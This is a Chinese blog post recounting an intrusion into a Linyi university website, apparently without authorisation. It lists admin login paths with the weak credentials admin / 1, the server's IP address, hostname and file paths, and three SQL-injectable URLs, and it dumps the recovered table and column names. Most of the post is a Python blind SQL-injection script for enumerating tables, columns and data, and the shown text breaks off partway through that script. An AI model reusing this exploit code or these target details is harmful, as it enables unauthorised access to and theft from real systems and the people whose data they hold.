当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

对临沂某大学的一次复古式检测

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

好长一段时间之前搞得了,后来因为比较忙所以没有整理,是一个机友要求帮忙,其实这个站做的挺烂的,直接拿wvs扫了一下,直接出了weak password的后台地址,涛涛电脑知识

/jpkc/glx/admin/manage.asp

/jpkc/wangl2/huxiujun/admin/manage.asp

 

/jpkc/sjjjgl/admin/login.asp  

/jpkc/glx/admin/login.asp  

/jpkc/wangl2/huxiujun/admin/login.asp  

user:admin  

password:1  

这三个后台大致就是如下的样子,里面的功能基本没有一个能使的,不是报错就是权限不够。

都是在jpkc(精品课程)的目录下,应该是多个粗心管理员的所作所为。

 

因为后台功能大都不能使用,只得到了一些服务器信息

 

服务器的有关参数  服务器名  business.2cto.com    

服务器IP  211.64.240.206   

服务器端口  80   

服务器时间  2012-10-30 下午 05:17:45   

IIS版本  Microsoft-IIS/6.0   

脚本超时时间  90 秒   

本文件路径  F:\sxy\jpkc\sjjjgl\admin\ServerInfo.asp   

服务器CPU数量   个   

服务器解译引擎  VBScript/5.6.8850   

服务器操作系统     

转过头来看看扫出的几个注入点,

 

/colum3/more.asp?bigcataid=1'  

/jiuye/gqtzs.asp?BigClassID=1'  

/colum3/readnews.asp?newsid=1'  

直接使用第一个,很不错的报错

 

首先是放到工具里面跑一下,穿山甲之跑出了tables和column,却跑不出data,不知道是什么原因

 

admin   title newsid content about number passwd logins email username id  

news    title newsid content about  

system  title newsid content about search logo name email id  

其实很多时候,注入工具多不好使,所以有一套自己的注入工具还是很重要的,修改了一个别人的python脚本为己用

本着间接和可扩展性的原则,脚本一点都不智能  - -!,但是可供自定义的地方很多,也没有多么智能的判断,毕竟是自己使用的脚本

[python] view plaincopy

from sys import exit   

from urllib import urlopen   

from string import join,strip   

from re import search  

  

def check_judge(url):  

    urlfile = urlopen(url)   

    htmlcodes = urlfile.read()   

    if search(judge,htmlcodes):  

        return 1  

    else:  

        return 0  

def get_tablename():   

    tablefile = open("table.txt")   

    for line in tablefile.readlines():   

        line = strip(line)   

        sql = join(['%20or%20exists%20(select%20*%20from%20',line,')'],'')    

        if check_judge(url+sql):  

            print "Found:",line  

        else:   

            print #"Error:",url+sql  

def get_columnname(tablename):   

    columnname = open("column.txt")   

    for columnnameline in columnname.readlines():   

        columnnameline = strip(columnnameline)   

        sql = join(['%20or%20exists%20(select%20',columnnameline,'%20from%20',tablename,')'],'')  

        if check_judge(url+sql):   

            print "Found:", columnnameline,"\n"  

        else:   

            print #"Error:",url+sql   

def get_datalenth(tablename,columnname):   

    for x in range(1,51):   

        sql = join(['%20or%20(select%20top%201%20len(',columnname,')%20From%20',tablename,')=',str(x)],'')   

        if check_judge(url+sql):  

            print "Found:", x,"\n"   

            break  

        else:   

            print "Error:",sql  

          

def get_data(tablename,columnname,lenth):   

    list = []   

    for x in [range(48,58),range(97,123),range(65,91),range(33,48),range(58,65),range(91,97),range(123,256),range(1,33)]:   

        list.extend(x)   

    global username   

    username  = ''   

    for y in range(1,lenth+1):   

  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1